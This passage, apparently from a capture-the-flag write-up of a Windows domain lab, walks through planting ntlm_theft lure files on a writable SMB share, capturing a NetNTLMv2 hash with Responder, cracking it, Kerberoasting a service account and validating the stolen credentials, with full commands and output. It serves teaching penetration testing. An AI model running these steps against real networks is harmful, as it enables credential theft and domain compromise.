<h2 id="auth-as-juliawong">Auth as Julia.Wong</h2>

<h3 id="steal-netntlmv2">Steal NetNTLMv2</h3>

<p>With a share that is writable, it’s worth taking a shot at dropping files (like <code class="language-plaintext highlighter-rouge">.scf</code>, <code class="language-plaintext highlighter-rouge">.url</code>, <code class="language-plaintext highlighter-rouge">.library-ms</code>, and <code class="language-plaintext highlighter-rouge">desktop.ini</code>) that contain UNC path references pointing back to my IP. When Windows Explorer renders the folder or a user opens one of the files, Windows automatically attempts to authenticate to the remote SMB server, completing an NTLM challenge-response that I can capture and attempt to crack offline. <a href="https://github.com/Greenwolf/ntlm_theft">ntlm_theft</a> is a nice tool for generating a bunch of these at once. I’ll grab a copy:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>git clone https://github.com/Greenwolf/ntlm_theft
<span class="go">Cloning into 'ntlm_theft'...
remote: Enumerating objects: 151, done.
remote: Counting objects: 100% (38/38), done.
remote: Compressing objects: 100% (14/14), done.
remote: Total 151 (delta 31), reused 24 (delta 24), pack-reused 113 (from 1)
Receiving objects: 100% (151/151), 2.12 MiB | 14.70 MiB/s, done.
Resolving deltas: 100% (73/73), done.
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">cd </span>ntlm_theft/
</code></pre></div></div>

<p>To run it <a href="/cheatsheets/uv#">using uv</a>, I’ll have to add the single library requirement. Then it runs:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>uv add <span class="nt">--script</span> ntlm_theft.py xlsxwriter
<span class="go">Updated `ntlm_theft.py`
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span>uv run ntlm_theft.py 
<span class="go">Installed 1 package in 11ms
usage: ntlm_theft.py --generate all --server &lt;ip_of_smb_catcher_server&gt; --filename &lt;base_file_name&gt;
ntlm_theft.py: error: the following arguments are required: -g/--generate, -s/--server, -f/--filename
</span></code></pre></div></div>

<p>I’ll give it the required formats (all), my IP, and a base name:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>uv run ntlm_theft.py <span class="nt">-g</span> all <span class="nt">-s</span> 10.10.14.16 <span class="nt">-f</span> lure
<span class="go">Created: lure/lure.scf (BROWSE TO FOLDER)
Created: lure/lure-(url).url (BROWSE TO FOLDER)
Created: lure/lure-(icon).url (BROWSE TO FOLDER)
Created: lure/lure.lnk (BROWSE TO FOLDER)
Created: lure/lure.rtf (OPEN)
Created: lure/lure-(stylesheet).xml (OPEN)
Created: lure/lure-(fulldocx).xml (OPEN)
Created: lure/lure.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: lure/lure-(handler).htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: lure/lure-(includepicture).docx (OPEN)
Created: lure/lure-(remotetemplate).docx (OPEN)
Created: lure/lure-(frameset).docx (OPEN)
Created: lure/lure-(externalcell).xlsx (OPEN)
Created: lure/lure.wax (OPEN)
Created: lure/lure.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
Created: lure/lure.asx (OPEN)
Created: lure/lure.jnlp (OPEN)
Created: lure/lure.application (DOWNLOAD AND OPEN)
Created: lure/lure.pdf (OPEN AND ALLOW)
Created: lure/zoom-attack-instructions.txt (PASTE TO CHAT)
Created: lure/lure.library-ms (BROWSE TO FOLDER)
Created: lure/Autorun.inf (BROWSE TO FOLDER)
Created: lure/desktop.ini (BROWSE TO FOLDER)
Created: lure/lure.theme (THEME TO INSTALL
Generation Complete.
</span></code></pre></div></div>

<p>From that directory, I’ll connect to SMB and upload all the files. It works to drop them in the <code class="language-plaintext highlighter-rouge">transfer</code> directory:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>smbclient //BREACHDC.breach.vl/share <span class="nt">-U</span> <span class="s1">'guest%'</span>
<span class="go">Try "help" to get a list of possible commands.
</span><span class="gp">smb: \&gt;</span><span class="w"> </span><span class="nb">cd </span>transfer<span class="se">\</span>
<span class="gp">smb: \transfer\&gt;</span><span class="w"> </span>prompt off
<span class="gp">smb: \transfer\&gt;</span><span class="w"> </span>mput <span class="k">*</span>
<span class="go">putting file Autorun.inf as \transfer\Autorun.inf (1.2 kb/s) (average 1.2 kb/s)
putting file lure-(handler).htm as \transfer\lure-(handler).htm (1.7 kb/s) (average 1.4 kb/s)
putting file lure.asx as \transfer\lure.asx (2.2 kb/s) (average 1.7 kb/s)
putting file lure.wax as \transfer\lure.wax (0.8 kb/s) (average 1.5 kb/s)
putting file desktop.ini as \transfer\desktop.ini (0.7 kb/s) (average 1.3 kb/s)
putting file lure.m3u as \transfer\lure.m3u (0.7 kb/s) (average 1.2 kb/s)
putting file lure.pdf as \transfer\lure.pdf (11.6 kb/s) (average 2.7 kb/s)
putting file lure-(frameset).docx as \transfer\lure-(frameset).docx (153.6 kb/s) (average 21.6 kb/s)
putting file lure-(fulldocx).xml as \transfer\lure-(fulldocx).xml (805.5 kb/s) (average 135.0 kb/s)
putting file lure-(remotetemplate).docx as \transfer\lure-(remotetemplate).docx (394.9 kb/s) (average 160.1 kb/s)
putting file lure.library-ms as \transfer\lure.library-ms (18.3 kb/s) (average 147.6 kb/s)
putting file zoom-attack-instructions.txt as \transfer\zoom-attack-instructions.txt (1.7 kb/s) (average 135.7 kb/s)
putting file lure-(externalcell).xlsx as \transfer\lure-(externalcell).xlsx (86.6 kb/s) (average 131.9 kb/s)
putting file lure.lnk as \transfer\lure.lnk (32.5 kb/s) (average 125.0 kb/s)
putting file lure-(includepicture).docx as \transfer\lure-(includepicture).docx (155.9 kb/s) (average 127.0 kb/s)
putting file lure-(stylesheet).xml as \transfer\lure-(stylesheet).xml (1.8 kb/s) (average 116.7 kb/s)
putting file lure-(url).url as \transfer\lure-(url).url (0.9 kb/s) (average 110.2 kb/s)
putting file lure.rtf as \transfer\lure.rtf (1.5 kb/s) (average 104.4 kb/s)
putting file lure-(icon).url as \transfer\lure-(icon).url (1.5 kb/s) (average 98.8 kb/s)
putting file lure.jnlp as \transfer\lure.jnlp (2.9 kb/s) (average 94.2 kb/s)
putting file lure.theme as \transfer\lure.theme (24.9 kb/s) (average 91.1 kb/s)
putting file lure.application as \transfer\lure.application (24.8 kb/s) (average 88.1 kb/s)
putting file lure.scf as \transfer\lure.scf (1.3 kb/s) (average 84.5 kb/s)
putting file lure.htm as \transfer\lure.htm (0.9 kb/s) (average 80.1 kb/s)
</span></code></pre></div></div>

<p>I’ll start <a href="https://github.com/lgandx/Responder">Responder</a> and after a couple minutes, I get a hash for Julia.Wong:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>uv run Responder.py <span class="nt">-I</span> tun0
<span class="go">...[snip]...
[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 10.129.10.28
[SMB] NTLMv2-SSP Username : BREACH\Julia.Wong
[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:a1905663fa6d011b:859D2DC6D8872075FC28AF6FCDEBD0A2:010100000000000080922CDC1695DC018084F250342348B3000000000200080034004B004C005A0001001E00570049004E002D004D0044003300370053004E005300370049004200300004003400570049004E002D004D0044003300370053004E00530037004900420030002E0034004B004C005A002E004C004F00430041004C000300140034004B004C005A002E004C004F00430041004C000500140034004B004C005A002E004C004F00430041004C000700080080922CDC1695DC01060004000200000008003000300000000000000001000000002000007DFD839998ABFEAF3543946F2887DFF7FE3639D97E950F696E379D16007F62850A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00310036000000000000000000
[*] Skipping previously captured hash for BREACH\Julia.Wong
[*] Skipping previously captured hash for BREACH\Julia.Wong
[*] Skipping previously captured hash for BREACH\Julia.Wong
[*] Skipping previously captured hash for BREACH\Julia.Wong
[*] Skipping previously captured hash for BREACH\Julia.Wong
[*] Skipping previously captured hash for BREACH\Julia.Wong
[*] Skipping previously captured hash for BREACH\Julia.Wong
[*] Skipping previously captured hash for BREACH\Julia.Wong
[*] Skipping previously captured hash for BREACH\Julia.Wong
[*] Skipping previously captured hash for BREACH\Julia.Wong
[*] Skipping previously captured hash for BREACH\Julia.Wong
[*] Skipping previously captured hash for BREACH\Julia.Wong
[*] Skipping previously captured hash for BREACH\Julia.Wong
[*] Skipping previously captured hash for BREACH\Julia.Wong
</span></code></pre></div></div>

<p>It’s not clear to me which of these are firing, but there’s a bunch of connections, so it could be multiple.</p>

<h3 id="crack-hash">Crack Hash</h3>

<p>I’ll save the hash to a file and pass it to <code class="language-plaintext highlighter-rouge">hashcat</code> with <code class="language-plaintext highlighter-rouge">rockyou.txt</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$ </span>hashcat julia.wong.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
<span class="go">hashcat (v7.1.2) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

5600 | NetNTLMv2 | Network Protocol
...[snip]...
JULIA.WONG::BREACH:a1905663fa6d011b:859d2dc6d8872075fc28af6fcdebd0a2:010100000000000080922cdc1695dc018084f250342348b3000000000200080034004b004c005a0001001e00570049004e002d004d0044003300370053004e005300370049004200300004003400570049004e002d004d0044003300370053004e00530037004900420030002e0034004b004c005a002e004c004f00430041004c000300140034004b004c005a002e004c004f00430041004c000500140034004b004c005a002e004c004f00430041004c000700080080922cdc1695dc01060004000200000008003000300000000000000001000000002000007dfd839998abfeaf3543946f2887dff7fe3639d97e950f696e379d16007f62850a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00310036000000000000000000:Computer1
...[snip]...
</span></code></pre></div></div>

<p>It cracks in about three seconds on my machine.</p>

<h3 id="validate">Validate</h3>

<p>I’ll use <code class="language-plaintext highlighter-rouge">netexec</code> to validate the creds:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec smb BREACHDC.breach.vl <span class="nt">-u</span> Julia.Wong <span class="nt">-p</span> Computer1
<span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows Server 2022 Build 20348 x64 (name:BREACHDC) (domain:breach.vl) (</span><span class="netexec-logsuccess">signing:True</span><span class="go">) (SMBv1:None) </span><span class="netexec-pwned">(Null Auth:True)</span><span class="go"> </span><span class="netexec-logfail">(Guest Auth:True)</span><span class="go">
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         </span><span class="netexec-logsuccess">[+]</span><span class="go"> breach.vl\Julia.Wong:Computer1 
</span></code></pre></div></div>

<p>They don’t work for WinRM or RDP (RDP shows green for good creds but without “Pwned!” I won’t be able to connect):</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec winrm BREACHDC.breach.vl <span class="nt">-u</span> Julia.Wong <span class="nt">-p</span> Computer1
<span class="netexec-protocol">WINRM </span><span class="go">      10.129.10.28    5985   BREACHDC         </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows Server 2022 Build 20348 (name:BREACHDC) (domain:breach.vl) 
</span><span class="netexec-protocol">WINRM </span><span class="go">      10.129.10.28    5985   BREACHDC         </span><span class="netexec-logfail">[-]</span><span class="go"> breach.vl\Julia.Wong:Computer1
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec rdp BREACHDC.breach.vl <span class="nt">-u</span> Julia.Wong <span class="nt">-p</span> Computer1
<span class="netexec-protocol">RDP </span><span class="go">        10.129.10.28    3389   BREACHDC         </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows 10 or Windows Server 2016 Build 20348 (name:BREACHDC) (domain:breach.vl) (nla:True)
</span><span class="netexec-protocol">RDP </span><span class="go">        10.129.10.28    3389   BREACHDC         </span><span class="netexec-logsuccess">[+]</span><span class="go"> breach.vl\Julia.Wong:Computer1 
</span></code></pre></div></div>

<p>I’ll find the user flag in the <code class="language-plaintext highlighter-rouge">share</code> share:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>smbclient //BREACHDC.breach.vl/share <span class="nt">-U</span> <span class="s1">'Julia.Wong%Computer1'</span>
<span class="go">Try "help" to get a list of possible commands.                                                                                         
</span><span class="gp">smb: \&gt;</span><span class="w"> </span><span class="nb">cd </span>transfer<span class="se">\j</span>ulia.wong<span class="se">\</span>
<span class="gp">smb: \transfer\julia.wong\&gt;</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">  .                                   D        0  Thu Apr 17 00:38:12 2025
  ..                                  D        0  Tue Feb  3 14:10:18 2026
  user.txt                            A       32  Thu Apr 17 00:38:22 2025

                7863807 blocks of size 4096. 1516382 blocks available
</span><span class="gp">smb: \transfer\julia.wong\&gt;</span><span class="w"> </span>get user.txt 
<span class="go">getting file \transfer\julia.wong\user.txt of size 32 as user.txt (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)
</span><span class="gp">smb: \transfer\julia.wong\&gt;</span><span class="w"> </span>^C
<span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">cat </span>user.txt
<span class="go">55d33e52************************
</span></code></pre></div></div>

<h2 id="auth-as-svc_mssql">Auth as svc_mssql</h2>

<h3 id="enumeration">Enumeration</h3>

<p>I’ll grab BloodHound data using <a href="https://github.com/g0h4n/RustHound-CE">RustHound-CE</a>:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>rusthound-ce <span class="nt">--domain</span> breach.vl <span class="nt">-u</span> Julia.Wong <span class="nt">-p</span> Computer1 <span class="nt">-z</span> 
<span class="go">---------------------------------------------------
Initializing RustHound-CE at 22:25:12 on 02/03/26
Powered by @g0h4n_0
---------------------------------------------------

[2026-02-03T22:25:12Z INFO  rusthound_ce] Verbosity level: Info
[2026-02-03T22:25:12Z INFO  rusthound_ce] Collection method: All
[2026-02-03T22:25:12Z INFO  rusthound_ce::ldap] Connected to BREACH.VL Active Directory!
[2026-02-03T22:25:12Z INFO  rusthound_ce::ldap] Starting data collection...
[2026-02-03T22:25:12Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-02-03T22:25:12Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=breach,DC=vl
[2026-02-03T22:25:12Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-02-03T22:25:13Z INFO  rusthound_ce::ldap] All data collected for NamingContext CN=Configuration,DC=breach,DC=vl
[2026-02-03T22:25:13Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-02-03T22:25:13Z INFO  rusthound_ce::ldap] All data collected for NamingContext CN=Schema,CN=Configuration,DC=breach,DC=vl
[2026-02-03T22:25:13Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-02-03T22:25:13Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=DomainDnsZones,DC=breach,DC=vl
[2026-02-03T22:25:13Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-02-03T22:25:13Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=ForestDnsZones,DC=breach,DC=vl
[2026-02-03T22:25:13Z INFO  rusthound_ce::api] Starting the LDAP objects parsing...
[2026-02-03T22:25:13Z INFO  rusthound_ce::objects::domain] MachineAccountQuota: 10
[2026-02-03T22:25:13Z INFO  rusthound_ce::api] Parsing LDAP objects finished!
[2026-02-03T22:25:13Z INFO  rusthound_ce::json::checker] Starting checker to replace some values...
[2026-02-03T22:25:13Z INFO  rusthound_ce::json::checker] Checking and replacing some values finished!
[2026-02-03T22:25:13Z INFO  rusthound_ce::json::maker::common] 15 users parsed!
[2026-02-03T22:25:13Z INFO  rusthound_ce::json::maker::common] 62 groups parsed!
[2026-02-03T22:25:13Z INFO  rusthound_ce::json::maker::common] 1 computers parsed!
[2026-02-03T22:25:13Z INFO  rusthound_ce::json::maker::common] 2 ous parsed!
[2026-02-03T22:25:13Z INFO  rusthound_ce::json::maker::common] 1 domains parsed!
[2026-02-03T22:25:13Z INFO  rusthound_ce::json::maker::common] 2 gpos parsed!
[2026-02-03T22:25:13Z INFO  rusthound_ce::json::maker::common] 73 containers parsed!
[2026-02-03T22:25:13Z INFO  rusthound_ce::json::maker::common] .//20260203222513_breach-vl_rusthound-ce.zip created!

RustHound-CE Enumeration Completed at 22:25:13 on 02/03/26! Happy Graphing!
</span></code></pre></div></div>

<p>I’ll start the <a href="https://bloodhound.specterops.io/get-started/quickstart/community-edition-quickstart">BloodHound-CE Docker</a> and upload the data. I’ll mark Julia.Wong as owned, but they have no interesting outbound control.</p>

<p>The pre-built search for “All Kerberoastable Users” returns one:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260203175630972.webp" />
    <img loading="lazy" src="/img/image-20260203175630972.png" alt="image-20260203175630972" class="include_image " />
</picture>

<h3 id="kerberoast">Kerberoast</h3>

<p>I’ll use <code class="language-plaintext highlighter-rouge">netexec</code> to get Kerberoastable hashes:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec ldap BREACHDC.breach.vl <span class="nt">-u</span> Julia.Wong <span class="nt">-p</span> Computer1 <span class="nt">--kerberoast</span> kerberoasting
<span class="netexec-protocol">LDAP </span><span class="go">       10.129.10.28    389    BREACHDC         </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows Server 2022 Build 20348 (name:BREACHDC) (domain:breach.vl) (</span><span class="netexec-logfail">signing:None</span><span class="go">) (channel binding:No TLS cert)
</span><span class="netexec-protocol">LDAP </span><span class="go">       10.129.10.28    389    BREACHDC         </span><span class="netexec-logsuccess">[+]</span><span class="go"> breach.vl\Julia.Wong:Computer1 
</span><span class="netexec-protocol">LDAP </span><span class="go">       10.129.10.28    389    BREACHDC         </span><span class="netexec-logmessage">[*]</span><span class="go"> Skipping disabled account: krbtgt
</span><span class="netexec-protocol">LDAP </span><span class="go">       10.129.10.28    389    BREACHDC         </span><span class="netexec-logmessage">[*]</span><span class="go"> Total of records returned 1
</span><span class="netexec-protocol">LDAP </span><span class="go">       10.129.10.28    389    BREACHDC         </span><span class="netexec-logmessage">[*]</span><span class="go"> sAMAccountName: svc_mssql, memberOf: [], pwdLastSet: 2022-02-17 10:43:08.106169, lastLogon: 2026-02-03 12:20:45.967821
</span><span class="netexec-protocol">LDAP </span><span class="go">       10.129.10.28    389    BREACHDC         </span><span class="netexec-shareenum">$krb5tgs$23$*svc_mssql$BREACH.VL$breach.vl\svc_mssql*$8a00486bd5075b4f5d8618b1488d7b9a$c1db4696a5b04565b9bdb87643c639cd33264153ccd268742dbcc99a00d5fb6b6a7980c0ecd946cf9957df9eb2136b181b568766a6bf61f87e74b9f5444f0917c78e7481217bc2c2cb09434e0184443494abb602069615aba76b2efe1c9f0603cdd7258b9ac3e7ef43f31537f8f798740eb2697bf83e000cac32b7bbd1f18efa3a27a9ade02ae39293e8a7b8fc6e1f5d8ca34c886eb557502b332b905b18a45a48049aad093ebf6e8c5d4e4cd4fbd99b34ba1d420fb8f7f53dd193b86431570a33f131f62aa1c581523ae19f2ad9061a8fe4fbe6f40a8ad164bfeed3c7c36496c97774f58de26406ec65cd887eac2514670bf33bc96a996eb22d3d2f0ddafcca8aaa2e28ad95c603448688de2659f316aaa260a5cd3648e62db846a526b3a7068242831a19f5501e3195c4e4e76092aa561f9414f9e4f3b1be32a892e00bbef233a851208deac202147aaff01270052f60d58ecdcc1e0832782b3676f87b4a175ab434874d50d7f9619f664f8cb3432b391b51043ebd28330c61937acc2cf5b7bda7cb7bc47363a2ccbdc05791072ecafc6f90e450f75a47facaa3634a69f115eeed0c3325e74668d571e605318cf40c9d224bec39ff59da4d4d8a0d6a466df27b82343d34c18afe9284f2602f6f4722d06a13d504754870eadaf868a6d87764d95f8cdbedaa05b50db3d558849dff321e74d2d0014449d33f23945c4d9ae71477036707a5d595c69deb04c9db09612894ad11d1588d76c6c8185ef14e900c1c94d81f98de5560fa5ce5eef19b3e6ed7ef6a8092b9301d610efe61ff756de71282911b4cfaa277a62fde19d3566f9a2288d7517807af79d2a5ee74811f1072fbe1ffe4b35291f72f65466d8f1378f9f2f57a4e95e93e4900db4366e0a18caefeeb45a843862914f1671b1fa74d6e17f805fdf497a2a1f93b4b27fae6a0a4ecc749269074ce1042025ab197e48670c10d23ba67c2276df9d15dfa58acd52ab7994fc8551c860730d60c69e2577a1a0d63f639809fb479c7a34690e4d0ea270a8e1767c20b3fbbbc3b2832963da54f63c26b6a93730471af0c24c5f2e087146413a2e7e23b804adbcbf7e70ccb235466b9cab0ce6cce38627d4ff0baa8b4c7af970771762ee17af0912f4f6ed8b1aa934e09932a458fdfc62559ba394df8da358644524cd2ff0585fe4688127a0777429a9d0eca1488efc57ee8d9c095bc2a442d8191bea627901e403644b2263fb07be7370e0323c2b9d995b00cd1be1196226ff6ef6039e9aa60b59cc12fcd83c9ec0493b6bd8725e5f918ca34b71a2812dc986ea02fb21c2b80f3b764e03fefe71ed421a2719fdc5ba1b560c6f3ab85e048782199f9b226015eab78241af8e6a6a977822c196d165fc9edef7bfd4d44aece349c9c4769af90689c59c6903ff9b6325032f65bf1e7b5e666b3ddf8f2af3a5b6dc102a4d9c8aa601e1bab2c9c3af4d5b94ee54e7d</span><span class="go">
</span></code></pre></div></div>

<p>It saves that to a file that <code class="language-plaintext highlighter-rouge">hashcat</code> can handle, and it cracks it in five seconds on my machine:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$ </span>hashcat ./kerberoasting /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
<span class="go">hashcat (v7.1.2) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

13100 | Kerberos 5, etype 23, TGS-REP | Network Protocol
...[snip]...
$krb5tgs$23$*svc_mssql$BREACH.VL$breach.vl\svc_mssql*$8a00486bd5075b4f5d8618b1488d7b9a$c1db4696a5b04565b9bdb87643c639cd33264153ccd268742dbcc99a00d5fb6b6a7980c0ecd946cf9957df9eb2136b181b568766a6bf61f87e74b9f5444f0917c78e7481217bc2c2cb09434e0184443494abb602069615aba76b2efe1c9f0603cdd7258b9ac3e7ef43f31537f8f798740eb2697bf83e000cac32b7bbd1f18efa3a27a9ade02ae39293e8a7b8fc6e1f5d8ca34c886eb557502b332b905b18a45a48049aad093ebf6e8c5d4e4cd4fbd99b34ba1d420fb8f7f53dd193b86431570a33f131f62aa1c581523ae19f2ad9061a8fe4fbe6f40a8ad164bfeed3c7c36496c97774f58de26406ec65cd887eac2514670bf33bc96a996eb22d3d2f0ddafcca8aaa2e28ad95c603448688de2659f316aaa260a5cd3648e62db846a526b3a7068242831a19f5501e3195c4e4e76092aa561f9414f9e4f3b1be32a892e00bbef233a851208deac202147aaff01270052f60d58ecdcc1e0832782b3676f87b4a175ab434874d50d7f9619f664f8cb3432b391b51043ebd28330c61937acc2cf5b7bda7cb7bc47363a2ccbdc05791072ecafc6f90e450f75a47facaa3634a69f115eeed0c3325e74668d571e605318cf40c9d224bec39ff59da4d4d8a0d6a466df27b82343d34c18afe9284f2602f6f4722d06a13d504754870eadaf868a6d87764d95f8cdbedaa05b50db3d558849dff321e74d2d0014449d33f23945c4d9ae71477036707a5d595c69deb04c9db09612894ad11d1588d76c6c8185ef14e900c1c94d81f98de5560fa5ce5eef19b3e6ed7ef6a8092b9301d610efe61ff756de71282911b4cfaa277a62fde19d3566f9a2288d7517807af79d2a5ee74811f1072fbe1ffe4b35291f72f65466d8f1378f9f2f57a4e95e93e4900db4366e0a18caefeeb45a843862914f1671b1fa74d6e17f805fdf497a2a1f93b4b27fae6a0a4ecc749269074ce1042025ab197e48670c10d23ba67c2276df9d15dfa58acd52ab7994fc8551c860730d60c69e2577a1a0d63f639809fb479c7a34690e4d0ea270a8e1767c20b3fbbbc3b2832963da54f63c26b6a93730471af0c24c5f2e087146413a2e7e23b804adbcbf7e70ccb235466b9cab0ce6cce38627d4ff0baa8b4c7af970771762ee17af0912f4f6ed8b1aa934e09932a458fdfc62559ba394df8da358644524cd2ff0585fe4688127a0777429a9d0eca1488efc57ee8d9c095bc2a442d8191bea627901e403644b2263fb07be7370e0323c2b9d995b00cd1be1196226ff6ef6039e9aa60b59cc12fcd83c9ec0493b6bd8725e5f918ca34b71a2812dc986ea02fb21c2b80f3b764e03fefe71ed421a2719fdc5ba1b560c6f3ab85e048782199f9b226015eab78241af8e6a6a977822c196d165fc9edef7bfd4d44aece349c9c4769af90689c59c6903ff9b6325032f65bf1e7b5e666b3ddf8f2af3a5b6dc102a4d9c8aa601e1bab2c9c3af4d5b94ee54e7d:Trustno1
...[snip]...
</span></code></pre></div></div>

<h3 id="validate-1">Validate</h3>

<p>The creds are good:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec smb BREACHDC.breach.vl <span class="nt">-u</span> svc_mssql <span class="nt">-p</span> Trustno1
<span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows Server 2022 Build 20348 x64 (name:BREACHDC) (domain:breach.vl) (</span><span class="netexec-logsuccess">signing:True</span><span class="go">) (SMBv1:None) </span><span class="netexec-pwned">(Null Auth:True)</span><span class="go"> </span><span class="netexec-logfail">(Guest Auth:True)</span><span class="go">
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         </span><span class="netexec-logsuccess">[+]</span><span class="go"> breach.vl\svc_mssql:Trustno1 
</span></code></pre></div></div>

<p>But not for shell access:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec winrm BREACHDC.breach.vl <span class="nt">-u</span> svc_mssql <span class="nt">-p</span> Trustno1
<span class="netexec-protocol">WINRM </span><span class="go">      10.129.10.28    5985   BREACHDC         </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows Server 2022 Build 20348 (name:BREACHDC) (domain:breach.vl) 
</span><span class="netexec-protocol">WINRM </span><span class="go">      10.129.10.28    5985   BREACHDC         </span><span class="netexec-logfail">[-]</span><span class="go"> breach.vl\svc_mssql:Trustno1
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec rdp BREACHDC.breach.vl <span class="nt">-u</span> svc_mssql <span class="nt">-p</span> Trustno1
<span class="netexec-protocol">RDP </span><span class="go">        10.129.10.28    3389   BREACHDC         </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows 10 or Windows Server 2016 Build 20348 (name:BREACHDC) (domain:breach.vl) (nla:True)
</span><span class="netexec-protocol">RDP </span><span class="go">        10.129.10.28    3389   BREACHDC         </span><span class="netexec-logsuccess">[+]</span><span class="go"> breach.vl\svc_mssql:Trustno1
</span></code></pre></div></div>

<h2 id="shell-as-system">Shell as SYSTEM</h2>

<h3 id="enumeration-1">Enumeration</h3>

<p>Both Julia.Wong and svc_mssql can connect to MSSQL:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec mssql BREACHDC.breach.vl <span class="nt">-u</span> svc_mssql <span class="nt">-p</span> Trustno1
<span class="netexec-protocol">MSSQL </span><span class="go">      10.129.10.28    1433   BREACHDC         </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows Server 2022 Build 20348 (name:BREACHDC) (domain:breach.vl)
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.10.28    1433   BREACHDC         </span><span class="netexec-logsuccess">[+]</span><span class="go"> breach.vl\svc_mssql:Trustno1 
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec mssql BREACHDC.breach.vl <span class="nt">-u</span> Julia.Wong <span class="nt">-p</span> Computer1
<span class="netexec-protocol">MSSQL </span><span class="go">      10.129.10.28    1433   BREACHDC         </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows Server 2022 Build 20348 (name:BREACHDC) (domain:breach.vl)
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.10.28    1433   BREACHDC         </span><span class="netexec-logsuccess">[+]</span><span class="go"> breach.vl\Julia.Wong:Computer1
</span></code></pre></div></div>

<p>Interestingly, if I try to connect with <code class="language-plaintext highlighter-rouge">mssqlclient.py</code> using the hostname and these creds, they fail:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$ </span><span class="n">mssqlclient.py</span><span class="w"> </span><span class="nx">breach.vl\svc_mssql:Trustno1</span><span class="err">@</span><span class="nx">BREACHDC.breach.vl</span><span class="w"> </span><span class="nt">-windows-auth</span><span class="w">
</span><span class="go">Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[-] ERROR(BREACHDC\SQLEXPRESS): Line 1: Login failed for user 'BREACH\Guest'.
</span></code></pre></div></div>

<p>This is an issue with how <code class="language-plaintext highlighter-rouge">mssqlclient.py</code> handles NTLM auth. Using the IP works:</p>

